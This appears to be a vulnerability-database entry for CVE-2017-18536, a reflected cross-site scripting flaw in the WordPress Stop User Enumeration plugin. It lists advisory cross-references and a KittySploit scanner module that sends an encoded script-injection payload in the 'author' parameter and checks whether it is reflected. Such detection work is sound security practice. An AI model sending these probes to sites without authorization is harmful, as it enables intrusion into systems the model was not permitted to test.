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WordPress Stop User Enumeration <=1.3.7 - Cross-Site Scripting Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
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Unauthenticated reflected cross-site scripting in WordPress Stop User Enumeration.

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cnvd
CNVD
WordPress stop-user-enumeration plugin cross-site scripting vulnerability
23 Aug 201900:00
–cnvd
cve
CVE
CVE-2017-18536
21 Aug 201911:40
–cve
cvelist
Cvelist
CVE-2017-18536
21 Aug 201911:40
–cvelist
euvd
EUVD
EUVD-2017-9652
7 Oct 202500:30
–euvd
nuclei
Nuclei
WordPress Stop User Enumeration <=1.3.7 - Cross-Site Scripting
20 Oct 202602:05
–nuclei
nvd
NVD
CVE-2017-18536
21 Aug 201912:15
–nvd
osv_cve
osv_cve
CVE-2017-18536
21 Aug 201912:15
–osv_cve
prion
Prion
Cross site scripting
21 Aug 201912:15
–prion
ptsecurity
Positive Technologies
PT-2019-8470
21 Aug 201900:00
–ptsecurity
rapid7
Rapid7 Vulnerability Database (full)
CVE-2017-18536: Improper Neutralization of Input During Web Page Generation
21 Aug 201900:00
–rapid7
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""WordPress Stop User Enumeration 1."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'WordPress Stop User Enumeration <=1.3.7 - Cross-Site Scripting Detection',
        'description': 'WordPress Stop User Enumeration 1.3.7 and earlier are vulnerable to unauthenticated reflected cross-site scripting.',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve', 'cve2017', 'wpscan', 'wordpress', 'xss', 'wp-plugin', 'fullworks', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://wpscan.com/vulnerability/956cc5fd-af06-43ac-aa85-46b468c73501',
            'https://wordpress.org/plugins/stop-user-enumeration/#developers',
            'https://nvd.nist.gov/vuln/detail/CVE-2017-18536',
            'https://github.com/ARPSyndicate/kenzer-templates',
        ],
        'cve': 'CVE-2017-18536',
    }

    def run(self):
        r = self.http_request(method="GET", path='/?author=1%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E', allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
        body_all = ('forbidden - number in author', '</script><script>alert(document.domain)</script>',)
        header_any = ('text/html',)
        if (all(m in body for m in body_all)) and (any(m in headers for m in header_any)):
            self.set_info(
                severity='medium',
                reason="WordPress Stop User Enumeration <=1.3.7 - Cross-Site Scripting detected",
                path='/?author=1%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E',
            )
            return True
        return False

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28 Jul 2026 11:27Current
6.1Medium risk
Vulners AI Score6.1
CVSS 24.3
CVSS 36.1
EPSS0.0203
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